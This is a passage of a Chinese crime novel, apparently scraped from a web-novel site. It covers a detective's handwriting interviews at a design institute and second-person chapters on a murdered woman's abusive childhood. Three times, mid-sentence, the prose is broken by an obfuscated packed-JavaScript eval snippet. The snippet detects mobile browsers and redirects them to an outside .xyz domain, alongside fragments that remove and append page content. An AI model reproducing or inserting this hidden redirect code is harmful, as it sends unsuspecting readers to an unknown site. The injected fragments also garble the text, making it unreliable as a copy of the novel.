王工莫名其妙,只能大笔一挥写下这五个字,还不忘点评一句,“真肉麻!连我这个粑耳朵都说不出这种话!” - 第二位男同事姓林,关系户,是经常给李重打下手的助理设计师。这人一进来两只眼睛就在陈秋池和苏鹤身上滴溜溜转,只差脸上贴一句话:我竟然身处吃瓜风暴圈! 待他看到要写的五个字,眼里的八卦之火更是熊熊燃烧,平时工作中极少用到的脑子此刻疯狂运转,怕是已经编排出好多条“香艳猜想”,只等警察问他一句:“你知道些什么?” 只可惜陈秋池并没给他这个台阶,看他写完只说了声谢谢便请他出去。 第三位迟迟不见人影。郑春雨解释说这位规划设计一所所长今天上午去业主公司开会,正在回来的路上。 陈秋池点点头,安静地坐在小会议室里等。百叶窗外,总有人走来走去,投过来好奇探寻的目光。 郑春雨迟疑地说:“我们这位程所与李重压根就不是一个部门的。李重是二所的设计副总监,他是一所的所长。我们这里开展工作向来都是以所为单位,团队作战,年终分红也是以所为单位……程所都是有老婆孩子的人,在我们设计院已经干了十来年了,业内口碑向来非常好,怎么可能和李重……” 陈秋池看向她,“郑部长,在水落石出前,一切无端猜测都是对李重的二次伤害,也是对这位程所的伤害。” 郑春雨尴尬地笑了笑,“这鬼天气又闷又热,看来又要下雨了。您热吗?我把空调再调低点?” 陈秋池下意识地捏住右手袖口,摇了摇头,“谢谢,不用。” 苏鹤瞥了一眼陈秋池裹得严严实实的手腕,越发觉得这破天气闷热得难受。 一个小时后,程肃终于出现在小会议室门口。 这人四十来岁,头发意外地非常浓密,还是个自来卷。许是很久未剪过,头发卷了好几圈,呈螺旋状,从后面看竟有些像佛陀的发型。 他很高。一看就是常年走现场下工地的类型,皮肤黑黢黢的。额头很宽,留了短短的胡子,面部棱角十分硬朗,长相属于大刀阔斧的那种。看起来也不怎么讲究穿着,灰扑扑的短袖衬衣配一条黑色长裤,脚上却蹬着一双土黄色运动鞋。 陈秋池看到他的第一眼,就觉得这是与方月华完全不同的人,除了都是高个子。 与前两个人不同,程肃既没有着力撇清,也没有满脸八卦,他看到这五个字的时候,微微皱了下眉便快速写了出来。 陈秋池道了声谢,把纸张转正……每个人写的字都有自己的特点。哪怕刻意模仿,将笔画特征学了九成九像,也会因为笔顺、笔压不同露出破绽。 面前的这几个字与李重留在图纸上的字相比,目前看来几乎一模一样,但还需要她带回去交给专业的字体鉴定人员做最后的确认。 陈秋池看向程肃,“谢谢你的配合。” 再次看向他,她发现这位程所长茂密发量下长着一双狭长却有神的眼睛,不知是否因为项目压力大,眼眶里有些红血丝。 按照南一彤的说法,李重的死——或者可以称之为“惨死”,让设计院内部分裂为三派。 第一派人对此事讳莫如深,连提都不愿意提,只盼着这件事赶紧翻篇,比如院领导。 第二派人则认为存在即合理,李重落得这样的下场一定是她做了什么事,不然死的不是别人而是她?这群人甚至还组建了个群,专门凑一起,将过去他们对李重的种种交集、观察、评价,和她如今落得的“下场”进行任意嫁接和判断,在她身上贴上了无数时髦又臆想的标签。 第三派人是那些平日里和李重走得近的人,盼着方月华赶紧被判死刑,好让李重的灵魂得到安息。 第一派的人严令禁止第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14336112|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、第三派的人扎堆讨论,影响工作,第二派的人当然不会照做,热烈八卦的同时还鄙视第三派的人不分好歹,整天丧着个脸,还以为死的是自己亲妈。第三派的人则愤恨第一派的无情,第二派的冷漠,他们热切关注警方动向,还试图联系李重的母亲,协助她为李重举行一个盛大的丧礼。 面前这位叫程肃的男人属于哪一派?亦或,他哪一派都不是。 “你和李重关系如何?” 程肃深吸一口气,“我们同事八年,但因为不是一个所,所以交集很少,几乎没说过话。前几年甚至连彼此的微信都没有。21年6月份,院里安排我们一起出差,算是第一次正式接触。” “就你们两个人,还是有其他人一起出差?” “有其他人。那是个综合性项目,有市场部的人,还有其他专业所的人。” “你们除了工作联系外,还有私交吗?” 程肃看向陈秋池,正色道:“陈警官,我可以明确无误地告诉你,这五个字不是我写给李重的。” “所以你们除了工作联系外,没有任何私下的接触?” “我请她吃过一次饭,算吗?” - 同事之间私下一起聚餐,要么关系好,要么各有所求,程肃和李重两人,本是八竿子打不着的关系,却在一次出差后很快私下约了饭局,且是只有他们两个人的饭局。 任谁看了也会问一句:出差那几天发生了什么? 什么也没发生。程肃非常确定地回答。 出差地在浙西某县。当时几人在市场部部长牵头下踏勘现场,对接业主。 项目是个非常典型的“两边骗”。业主想哄着设计院所属的市投资集团往本地新区砸钱搞基础设施建设,而设计院则想哄着业主把新区规划合同签了,赚点设计费然后走人。业主不傻,设计院也不傻。双方见面,互相恭维一番后,装模作样走现场,开讨论会,若是彼此都不接招,那就一拍即散,再也不见。 但依然可以达成最基本的“双赢”。业主可以向上级领导汇报自己又引入了一家拟投资意向公司,设计院也可以在年终产值会上为自己的功劳多谋划一笔,虽然是虚得不能再虚的一笔。 所以这次出差,一行人心知肚明,也很轻松,开开心心去,安安全全回,确实什么也没发生。 程肃之所以请李重吃饭,也是因为按照设计院报销流程,同一个项目出差,只能将所有个人的报销金额发放到报账人员的账户里。在收到报销的那天,李重将其中一笔钱转给了程肃,程肃表示感谢并提出晚上请她吃饭。 所谓吃饭,也不过是找了家餐厅快速从七点吃到八点,然后各回各家。 “聊了什么?” 程肃摇头,“那都是两年前的事。我记忆力不好,记不清了。” 陈秋池放下笔,“程所长,既然你们设计院的财务报销流程是这么规定的,你是领导,李重作为比你职级低两级的下属,她来走报销流程,是最合适的人选,其实算不上帮你的忙。你大可以说声谢谢就了事,为什么还要专门请她吃饭?” 程肃沉默了,过了好半天才说:“只是吃顿饭而已,哪有那么多为什么?” 20. 第20章 李重啊。 你小时候总想不明白为什么有人如此擅长粉饰太平,明明头天晚上打得你死我活,第二天还能顶着眼角的红紫一脸平静地跟对方说:“饭做好了,吃饭吧。” 后来,你长大了,你顺其自然也学会了这一招,甚至青出于蓝而胜于蓝。 是啊,哪有那么多为什么? 只要不去想,你所担忧的,所害怕的,都不会存在。 - 四岁半的你突然会说话了。至于原因,你母亲和父亲的对外说辞非常统一:你之前中了邪,他们花了大价钱请仡佬族的那位林姓端公搞了个冲傩仪式就治好了。 父亲照旧心安理得地受着母亲的三餐供奉,母亲照旧逢集出摊挣钱养家,家还是那个家,唯一的变化只有那把羊腿刀。母亲不用它的时候,它会被塞到卧室衣柜的最上面,只露出一点点刀尖。刀尖到了夜里会把挂在房梁上的灯泡的黄光吸进去,衣柜上面的幽黑空间像被烟头烫了个洞。 这个洞每晚都会出现。 你敏锐地觉察到了。吃饭时,看书时,总会抬头隔着门帘盯着它看。不知为何,你看到它就会觉得一股暖流在身体里盘旋,越暖越看,越看越暖……过了好久,你母亲终于发现了。她在一个你父亲晚归的夜晚,陡然把你盯着衣柜的脸掰正过来,冷冷道:“他是你爸。” - 你的突然发声成了地质大院的奇观。很多人慕名过来看热闹。你不仅会喊妈妈,还会背古诗。不仅会背古诗,还认识好多好多字。谁能想到一个小哑巴肚子里竟然装了这么多货。惊呼声、赞叹声、羡慕声让灰突突的破土窝熠熠生辉。 然而,你说话很慢很慢,每发一个音,每说一个字,嗓子就要经历一遍痛苦,需要用尽全力,才能将喉壁的黏连死死撑开,让气流从胸口冲出来,搅动舌根、舌尖、牙齿,发出大家听得懂、乐意听的音节。你很累,很疼,很想藏起来,最好能藏到衣柜上面那个洞里。 但你从未被这么多人注视过,你也感受到了从未感受过的温暖——你被母亲抱在怀里……表演。 表演的剧目名称是《从小哑巴到小神童》。 你在前,母亲在后。她手里拿着书,指哪里,你便乖巧地念哪里。 你是她的提线木偶,她是你的主人。 突然出现的来自母亲的“暖意”通过细细的提线流淌至你的十指,进而钻进你的身体,你的血液,你觉得你活了。 是啊,大家都觉得母亲生了你,又请来端公把你从无声的深渊中救出来,是她给了你第二次生命。 母亲向大家绘声绘色讲述这个神奇玄幻的过程。她是如何灵机一动在人头攒动的大集上让那个无人问津的端公给你看病,如何下定决心骑了六个小时自行车找到岩石窝里的仡佬古寨,如何在傩公傩母面前搓着手哀求他们把你身上的邪气赶走,又是如何在某个半夜被你推醒,听到你清楚干脆地叫了她一声“妈妈”。 “哎呀,真是不容易啊。庆芬,你可算苦尽甘来。” “我当初就想说这龙凤胎邪性地很。人啊,不可能所有好处都占了。你想一次生个‘好’字,老天爷可不答应。幸好老天爷开恩,给你留下一个聪明的女娃娃。这都是命。不服不行。” 你突然感到吊着十根手指头上的提线有些颤动,抬起头,母亲的下巴紧紧绷着,原本压不住的唇角,此刻耷拉下来。“暖意”呼啸着从你小小身体里迅速撤回,后背一片凉意。 你感觉自己又变成了一具僵硬的小尸体。 就在这时,有人问道:“咦,好像没听过李重叫爸爸啊。” 所有人都看向你,和你的父亲。 你仰起脸,穿过人群,穿过门帘,再次看到里屋衣柜上方那个洞。洞里有什么,你不知道。但你听老陀讲过壶中天地,说过须弥芥子。一个小小的葫芦,或者更小的菜籽,里头都可以藏着乾坤世界,塞下须弥佛山,只要你能钻进去,就能看到。 你也想钻到这个洞里看一看,里面可能坐落着插满尖刀的刀山,也可能藏着一个所有人都不用张嘴说话的不言世界,亦或者它只是人的身体被刀扎穿留下的血洞而已。 …… 母亲捏着你的脸,把你掰向你的父亲。 父亲显然顺着你的眼神注意到了那把刀。那把刀曾被你高高举起,对着他,把他戳了透心凉。 是的。这句话运用了语文修辞中的夸张手法。 你父亲自诩文化人,即便这把刀当时离他还有一米多远,他也认为自己的胸口被你狠狠扎了一个洞。 现在他盯着你安静的小脸,刚才还叭叭说话的嘴巴闭成了一条缝。 他突然发现你简直就是他的翻版,都有着宽阔的额头,坚挺的鼻梁,薄薄的唇。唯有眼睛像旁边那个女人。 “叫爸爸啊!”母亲催促着。 你没反应。 巴掌立马落在你的肩头。“快!叫爸爸!” 你抬起头。脑海里不断闪回着那晚喝血打人、咆哮咒骂的“野人”。他与父亲现在的样子重叠,错开,再重叠,最后彻底钻进了父亲的身体,两人合二为一。 “李重!”母亲吼得几乎破了音。 你的嗓子又开始痒得要命。 这么多人站在这里,父亲却毫无顾忌地裸着,胸口长满了毛,嘴边挂着鲜血,胸口还有个洞。关键除了你,所有人都没有觉察出异样。你很害怕。 但你没时间害怕,在母亲的怒火中只得拼尽全力从喉咙里挤出一个字,“爸。” 所有人都笑起来。不错不错,真是个乖孩子。 然后,他们听到你哭出声来,喊了句: “爸,你为什么不穿衣服?” - 你被送到了地质队幼儿园上中班。哪怕那天很多人听见你哭着喊着非说你父亲没穿衣服,好似还有点邪气没驱除彻底,但不影响你上学。 你背着小书包,天不亮就被丢在了幼儿园门口。母亲在你脚下画了个圈,勒令你不许走出去,除非老师让你走出来。你乖乖点头,看着母亲头也不回地拖着拉车消失在初春的薄雾中。 1995年的地质队依然很困难。好不容易集资建了印刷厂,生意也不咋样。大食堂早被私人承包,大礼堂也变成了仓库租给了附近的木材厂。就连挨着省道的单身宿舍也被队里租出去,改成了修车铺和招待所。即便如此,也入不敷出。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347430|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引以为傲的幼儿园和小学也因为发不出来工资,老师数量急剧减少,很多学生转学去了黔北市区。 整座大院就是一个行将就木的老人,每时每刻都在破败、残喘、衰老。 你不懂这些。顺从地听母亲的话,听老师的话,不哭不闹,哪怕同学嫌弃你浑身羊肉腥膻味,动不动把你推倒在水池旁,你也只会默默站起来,一遍又一遍地用肥皂搓着手指。 直到手指发红,破皮,还没停下来,老师看了十分心疼,把你抱开,“可不敢这么浪费,咱们整个幼儿园现在一个月只允许买一块肥皂。” - 没过几天,母亲发现家里的肥皂找不到了,后来破案了,被你装进书包带去幼儿园洗手用。母亲揍了你一顿,你消停了两天,又把家里的洗衣粉装了一兜拿去幼儿园洗手用。母亲又揍了你一顿,你又消停了两天,开始磨石头。 有一天,总爱欺负你的男孩子再次拎着你的书包满幼儿园甩,书包里的笔、橡皮、本子掉了一地。 他边跑还边喊:“你的书包臭死了,我帮你散散味。” 你站在院子中间,平静地看着对方。旁边一群同学为这个男孩加油助威,就连老师也像看不到似的,窝在屋檐下面唠嗑。 你不急不慢地从口袋里掏出磨了很久的石头,弯得像一把刀,刚好趁你的小手。石棱扁扁的,像刀刃。 “你怎么这么臭啊,像住在羊圈里。你从来不洗澡吗?臭得我午饭都要吐出来了。” 小男孩肆无忌惮地笑着,还不忘把书包甩近一点,引得你去抢。 你佯装抢。对方更得意了,把书包再甩近一点。你一把扯住书包,可还没等你亮“刀”,对面小男孩被人揪住衣领,高高飞起来了。 “啊啊啊,放我下来!放我下来!” 你仰起头,看到了老陀那张熟悉的脸。他朝你挤眉弄眼,一脸得意。 他还是那么高,那么宽,像座大山,一来就风风火火把幼儿园踩在脚底下。 你的书包终于回到你的怀里,而那个男孩代替书包被老陀拎在手里满幼儿园甩。 “臭小子!我要把你变成纸飞机甩出去,开不开心啊?!” 所有人都傻眼了,老师也终于不瞎了,跑过来制止。 只有你使劲鼓掌,说:“老陀,把他再甩高点!” 男孩大哭大喊,吓得尿从□□里泄出来。 老陀玩累了,把人丢到你的面前。 男孩趴在你的脚边,这下连哭都哭不出来了。 你居高临下盯着他。 “你怎么这么臭啊,像住在厕所里。你从来不洗澡吗?臭得我午饭都要吐出来了。” “记住了,这是我爸爸。” “我这个爸爸他是个超人,是能把你甩天上的那种超人。 手里握着的石刀冰冰凉凉,你好像又看到了那个洞。 这次你确定,那洞里既没藏着刀山,也没藏着不言世界,只是一个穿过你父亲身体的血洞。 说完这句,你又蹲下来凑到男孩的耳边,放低音量说:“我还有一个爸爸,他是个野人,胸口有血洞的野人。” “被我扎的。只有我能看到。” 21. 第21章 五岁的你给自己整了两个爸爸。 亲爸不知道,亲妈更不知道。老师登门告状,两人才知道。 老师说你把老陀喊做爸爸,还让老陀把小朋友拎起来当做纸飞机满幼儿园甩! 老陀听到你叫他爸爸,把你抱起来亲了又亲,还不忘呲着牙把所有小孩和老师纠集在一起训话。他承认自己是你的超人爸爸,还说他每天都会飞过来巡视幼儿园,谁要是敢欺负你就把他拎起来甩天上去。 母亲目瞪口呆,父亲满脸阴沉,你则紧紧握着裤兜里那把石刀,沉默地盯着老师那张愤怒的脸。 母亲一脸歉意地把老师送走,回过头就给了你一个巴掌。你好似已经预料,竟一动不动,不哭不吵不狡辩。 父亲难得蹲下来,挡住母亲还要挥下来的手。 他盯着你的薄唇。 - 前两天他在路边遇到一个看手相的算命先生。他原是不信的,可这几年日子过得实在憋屈苦闷,便鬼使神差地停下来,坐到了小马扎上,伸出了手。 算命先生又老又瘦,托着他的手,沉吟片刻说:“你的智慧线长到月丘,说明你人很聪明,你的事业线虽然从手腕冲到了感情线,但断断续续不连贯,说明你在事业上波折会多。你的子女缘嘛……” 对方停顿了下,“小指没过三关,怕是有点浅。” 你父亲听到这里当然不高兴,挑衅地问:“你咋证明你说得都对?” 老仙也满脸不高兴,“你有两个女儿。对不对?” 你父亲一听,立马站起来把小马扎一脚踢开,“老子只有一个女儿。你还铁口直断,我看你就是瞎几把乱喷。” - 薄唇薄情。你父亲倒是信这一点,因为他就是这样的人。现在回旋镖飞回来,他又开始觉得自己心里那个被你扎的洞更痛了。 你死死握着兜里的石刀,眼神落在父亲的胸口。 他怎么总不穿衣服?穿上衣服她就看不到这个血粼粼的藏在黑乎乎胸毛里的洞了。 还没等你烦恼太久,眼前这个野人爸爸一把攥住你的手腕,毫不费力就把你的石刀从兜里拽出来……它终于露出了锋利的“峥嵘”。 然而,还没等它招摇嘚瑟几秒,便跌落地上,碎成了两半。 在幼儿园的每天中午,别人睡觉,你磨石,磨得满头大汗,磨得手指酸痛,但你不觉得累。 别人骂你神经病,你也不回嘴,你不过想拥有一把属于自己的“刀”。这怎么能算神经病呢? 现在这把“出身未捷身先死”的石刀碎了,你平静的小脸开始扭曲,那张对着父亲永远闭成一条缝的嘴巴,终于挣脱缝线,越张越大……你父亲发出一声惨叫。 他的胸口被你咬出了一圈牙齿印。 圆圆的,像个洞。 - 你被饿了两天。 饥肠辘辘的,依然不愿意喊爸爸,不愿意道歉,坚持认为自己有两个爸爸,一个超人爸爸,一个野人爸爸。 父亲在堂屋里边喝酒边咆哮。 “你和老陀到底有没有过那个?为什么李重非要认他当爹?” “很多人都看见你和老陀眉来眼去,我就说你为啥每个大集都不落下。原来是去会情人了。当然有干劲。” “李重是我的种儿,她凭啥不叫我爸爸?你带着她去了一趟仡佬寨,把哑巴病治好了,结果又得了神经病。我明明穿着衣服,穿着衣服……她非要说我光着身子!” “她还敢拿着刀对着我?是不是你教的?你是不是早就看我不顺眼了,鼓动小兔崽子把我杀了,你好去找那个老流氓焕发你的第二春?” 你奄奄一息地躺在床上,默默看着屋顶。 土窝子的屋顶用的是水泥预制板,就这么光秃秃的搭起来,刷了层白石灰了事。时间长了,这些石灰变得坑洼不平,灰白相交,在光影的侵略中呈现出诡谲的画面。 你看到两个像蛇一样往前爬行的怪物。 你看不清它们的脸,可能就是老陀讲的人头蛇身。 也有可能它们压根就没有脸,需要你爬上去把五官补齐了。 大概三岁多,你便发现它们的存在。起初它们只是在你头顶爬行,后来,它们不知道吃了什么,越变越粗,越爬越快,蛇尾缠绕交织,人面贴着人面,蠕动着,盘旋着,整个屋顶都成了它们的乐园。 在被关禁闭的第二天,你发现它们的蛇身竟然合二为一,变得更加巨硕粗壮,鳞片一层层从两个人头交接处覆盖至蛇尾。 你也终于看清了它们的脸。 一个是你,另一个也是你。 - 第三天。母亲端着一碗香喷喷的肉粥进来了。 你下意识地快速看了一眼屋顶,它们藏起来了。真乖。 母亲沉着脸把你一把拽过来,夹在□□,勺子狠狠往你嘴里塞。 肉粥温温的,正适合下嘴。而且是猪肉粥,不是羊肉粥。 你没法反抗,母亲动作粗鲁,可她的怀抱是真的温暖。 你头也不抬地把整碗粥吃完,这才发现她眼角刚愈合没多久的伤口又裂开了,泛着黑紫,还沁着血。 从什么时候开始,他们两人一个“打”出习惯,一个“被打”出习惯? 往常母亲总会故意把头发散开遮住,此刻她赤裸裸暴露着它,丝毫不介意让你看清楚。 “你有几个爸爸?” “两个。” 母亲一巴掌打在自己的脸上,顿时五个手指头印烙在上面。 你一下子懵了。 “你有几个爸爸?” “两……” 母亲又打了自己一巴掌,她的眸子如今已经不喷火了,反而冻出了冰。 “你到底有几个爸爸?” “一个。” 母亲的唇角快速抖动了下,又问:“你爸爸叫什么?” “老陀!” 母亲像没有知觉的机器人,木然地又打了自己一巴掌。 “你爸爸到底叫什么?” 她狠厉的掌风掀起你的刘海,露出两道粗黑眉毛来。它们在眉心处胶着,据说这种人的脾气又犟又臭。 “老陀!”你的声音大了起来,“他是我的超人爸爸。” - 母亲不可思议地盯着你,即便这不是她第一次听你这么说。 到底从什么时候,你开始把他当做爸爸? 是所有人都嘲笑你是小哑巴,唯有他认定你只是语迟的时候吗? 是你高高坐在他的肩膀上,手里攥着五根糖葫芦的时候吗? 是你被他抱在怀里,手把手教你识字的时候吗? 还是,你被幼儿园的小孩欺负,唯有他如神降临,帮你出气的时候? 她判不准,猜不透。 “为什么?”她只能问你。 你看着她。 “因为老陀对你好。” “他不打你。” - 李重啊。你见过母亲的眼泪很多次。唯独这次格外不同。 眼泪不再是夹杂着怒斥咆哮的决堤的洪水,而是缓缓从她的眼眶渗出来,洇湿睫毛,怎么都不肯落下来。唇角抖得太厉害,把整张脸都扯得变了形。 你很不适应。 母亲也很不适应。 她烦躁地擦干眼泪,捏着你的肩膀,说:“你只有一个爸爸,他不是老陀,他叫李朝贵。” “他是个技术厉害的地质员。不是野人,也没有不穿衣服。” “李重,你给我清醒一点。” “你再不清醒,妈妈就没法活下去了。” “你希望妈妈因为你被打死吗?” - 的确。大人很擅长粉饰太平。现在连你也学会了。 你走出卧室,走到威严正坐的父亲面前。 “爸爸。” 父亲沉着脸,没应腔。 “爸爸,我只有你一个爸爸,你的名字叫李朝贵,你是个很厉害的地质员,你不是野人,也没有不穿衣服。”你平静地重复着母亲教你的话,一字不差,挑不出错。 父亲看着你的小脸……这张脸没有惊慌,没有害怕,没有委屈,什么也没有,明明是该哭该闹该笑该说的年纪,何况还被关了两三天。 一个酒嗝窜上来。 你脸上酷似他的额眉鼻唇骤然错位,交叠,再错开,而后像着了魔似的快速搅动旋转,最后支离破碎。整张脸被搅成一团浓重的雾气,看不清,探不透。 他突然哆嗦了一下。 这哪里是小孩啊,分明是个无脸怪。 - 没过多久,你突然在你的小书包里发现一把钥匙。你认得它,之前老陀想开个修锁配钥匙铺,花钱找师傅学过一阵,结果十根手指头搞出七个伤口,粗枝大叶的他实在不是干这行的料,索性放弃。 这把钥匙便是他花了一大笔学费做出来的唯一一把。 他什么时候偷偷放进你的书包里的?他又高又壮,是怎么躲开老师和同学的视线? 他果然是超人,连隐身术都会。 你暗暗兴奋起来,也更想念他了。 母亲最近一段时间每次去大集摆摊都会把你锁在家里。你知道,她怕你又犯病追着老陀叫爸爸。 这天,她又把你锁在了家里。 这没什么难的,你使劲拍着大门,没过多久隔壁的王阿姨就会过来把门打开。外墙上挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361809|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一顶父亲野外找矿常戴的斗笠,这些年他没机会出去,这斗笠便落在这里吃灰。你家钥匙就藏在里头。 你照旧拍着木门,大喊王阿姨。 不多时,有人由远及近,你赶紧凑到门缝处,睁大眼睛往外看。 这人穿了一双油亮发光的皮鞋,重重踩在你家土院子里,灰土腾起,像踩在黄灰色的云上。 下一秒,一颗夹在狭长眼睑里的蓝眼珠子陡然出现在门缝外…… 它在眼眶里转了一圈,又转一圈,像蓝宝石成了精。 它看着你,你看着它。 你毫不犹豫抬起手指抠了过去…… 门外身影一闪,蓝眼珠子消失了,没过多久王阿姨急哄哄跑过来,把门打开,叮嘱你只能在外面玩一会,在你母亲回来前一定要赶回来,不然下次就没人给你开锁了。 你点点头,听到隔壁院子很热闹,问:“您家来客人了吗?” 王阿姨一愣,随即笑道:“是我在研究所工作的弟弟来家里了。” - 这条通往遵龙镇的路你走了无数遍。去程下坡,回程上坡。你走得太快,脚底打滑连滚了几下又爬起来继续走。 渐渐地路上的人多了起来,大家朝一个方向走去。他们要么背着竹篓,要么拎着布袋,只有你紧紧攥了把钥匙。 之前老陀把自己的摊位让了半边给母亲,现在母亲生意越来越好,把隔壁摊位也盘下来,书摊倒被挤到旁边一个狭小的过道里。 不过,他不在意,实在没收入的时候,觍着脸问母亲要一碗羊肉粉就行。 刚进五月,正值春夏交接,赶集买换季东西的人非常多。整条街乌泱泱的,走也走不动。你个子小,化身小猴子穿过“腿林”,不一会就看到了老陀,以及母亲。 和人头攒动的羊肉粉摊不同,老陀的书摊依旧无人问津。 你用手背抹了把额头的汗,喘着气笑了起来。他总是这样得过且过,即便兜里空空如也,也能抱着本破书笑得前仰后合,看得忘了饥饿。但凡卖点书,就会立马拿着钱给你买头花,买糖葫芦,或者带你看耍猴。 今天吃饭的人很多,老陀照旧在母亲的摊位上帮忙。 往常这时候,母亲总会嫌弃地塞给他很多碗让他去洗,说他一个大老爷们也不去找个正经工作,天天守在这里没前途,说他这么有文化的一个人给她洗碗太屈才了……诸如此类的车轱辘话。 每次老陀都装作没听见,有一天他实在受不了了,便嬉皮笑脸地往你母亲心窝里戳刀子。 “你男人倒是有份正经工作,有用吗?” “就是因为你有这样的偏见,你男人这个所谓的“文化人”才有机会好吃懒做。” “给,我这里有本字典,你拿去先学着认字。不用羡慕别人,你自己也可以成为文化人!” 母亲脸色难看地推开老陀递过来的字典,嘴巴张了张头一次不知道该怎么骂回去……老陀见好就收,赶紧甩着抹布说:“好好好!劳动人民最伟大,向伟大的劳动人民王王庆芬致敬!向伟大的老陀致敬!” …… 可今天,你隔着人群,看到母亲有些坐立不安。 她瞥见老陀收碗,立马冲过去把碗从他手里夺走……还朝他低声说了什么,老陀本来还想嬉笑两声把碗夺回去,可母亲越说头垂得越低,老陀争辩了几句,眼里的光一点点黯淡下去,最后把手松开了。 母亲立马回到炉子面前,用铁钳使劲戳着里头的煤球渣,顿时一阵烟升腾起来,许是迷了眼,她赶紧转过身揉起了眼睛。 你突然紧张起来。 还没等你想明白,几个警察推开人群来到书摊面前,问清姓名后,三下五除二把老陀压在了地上。 整个热闹的集市被突如其来的变故按了暂停键。叫卖声卡顿了,讨价声偃息了,剃头师傅的推子停了,绳子上挂着的尼龙袜不动了,食客们的嘴巴合不拢了,就连燥热的初夏气息也窒凝了…… 唯有老陀的脸在厚重的脚底下,在灰尘里,扑腾,挣扎。 手铐锁住的咔嚓声将这凝固的一切震出一条裂缝,片刻后,裂缝陡然四处游走,炸开,坍塌……你母亲满脸震惊地往前冲了几步却又迟疑地停了下来,和其他人一样避嫌让出一片空地来。无数双审视、猜测、臆想、看热闹的眼睛将老陀身上戳了无数个洞。 你嗷呜一声哭出来,扑闪着你的小短腿,连滚带爬地从一双双大脚中间窜过去,死死抱住老陀的脖子,像好久不见主人的狗狗,不停地蹭着他的脸。 “老陀,你怎么了?他们为什么要抓你!” “你是超人啊!你会飞的!” “你快飞!” “飞得远远的!” 22. 第22章 李重啊。 许多年以后,你在远离黔北的地方被绳索高高吊起,血管崩裂、青筋爆凸、气管窒挤时,是否走马灯似的又过了一遍这35年的每一瞬每一息?是否会在你即将永死的脑海里为1995年初夏的那个遥远下午多停留一会? 除了你,没人知道。 - 那天。 密密麻麻的人杵在遵龙镇主街上像一条条充斥人间的人形鱼干,他们的眼珠子凸凸的,大大的,一动不动地盯着漩涡中的你和老陀,以及恨不得钻地缝里的你的母亲。 这本不该凑在一起的三个人,彼时却像极了一家人。 老陀用他胡子拉碴的脸回蹭着你的小脸,哄你道:“重重不怕不怕啊。答应老陀再也不哭了好不好?” 你母亲则又气又恼地使劲掰着你的小指头,试图把你从老陀的身上拽下来,她凶狠地威胁你,“又想被关到小黑屋了吗?” 撕扯中你攥在手里的钥匙戳住了老陀的后脖子,像一把小的不能再小的手枪顶住了他。他突然笑起来——是的,他笑点总是又低又奇特又不分场合——他贴着你的耳朵悄声说:“重重和老陀玩个寻宝游戏好不好?只要你找到和这把钥匙相配的门,你就赢了,我就能回来。” 你一愣,下一秒,你被高高抱起,母亲连忙后撤几步。警察押着老陀,老陀使劲扭头看你,还不忘冲你笑,被铐着的手朝你做了个插锁拧门的手势…… 你嚎啕大哭起来。 泪眼朦胧中,你一眼看到那张藏在一堆人形鱼干中的野人的脸。 - 他怎么能觉得自己可以藏得很好呢? 很久以后当你回忆起这一幕,竟然也有点想笑。一定是老陀的诡异笑点传染了你。 鱼干们的眼睛又大又凸又呆板,野人的眼睛却在喷火,不仅烧红了自己,还越过鱼干们喷到你们三人身上。 何况,他还有一个只有你才能看到的血洞。 野人阴沉着脸喷了一会儿火,立马佝起肩膀,消隐在鱼干身后。 你像是明白了什么,喉头抖了下,“爸爸!” 你母亲吓得赶紧捂住你的嘴,“瞎喊什么!他不是你爸爸!” 你被母亲的五指山死死捂住了脸,这个恐怖却又熟悉的窒息感让你抖得更厉害了,但你不知道从哪里冒出来的力气,撕心裂肺地大喊。 “爸爸!” “爸爸!” “是野人爸爸!” - 你生了一场病。你母亲也紧跟着生了一场病。 两个滚烫的额头,两双呆滞无神的眼睛,两具有气无力的身体,两个无人照顾的可怜人。 幸好隔壁的王翠莲这几天不出车,进进出出的又是煮粥又是喂药,悉心照顾了几天你们才好转起来。 但也没有多好转。 你躺在床上,两个眼睛直直盯着斑驳灰白的屋顶,全身上下唯有偶尔眨动的睫毛提示你还活着。 像被抽走了魂。 任凭王翠莲怎么逗你也没反应。 你母亲则是无声地流泪。或者说,在她没觉察的时候,泪已经流下来了。擦掉后,眼泪自动从眼眶底部渗出来,再擦掉,再渗出。如此往复,她凭空在脸上长出了两个永不枯竭的泪泉。 “哎呦,真是造孽啊!都怪我!我不该放重重出去!不然也不会受了这么大刺激!哪个小孩看到警察不怕?何况还当着孩子的面儿抓人!” “庆芬,你这就是累的!天不亮就出去摆摊,一站一整天,家里里里外外也是你在忙,唉,要是朝贵能……算了!不提他了!你刚好趁机会多休息几天,活是干不完的,钱也是挣不完的……” 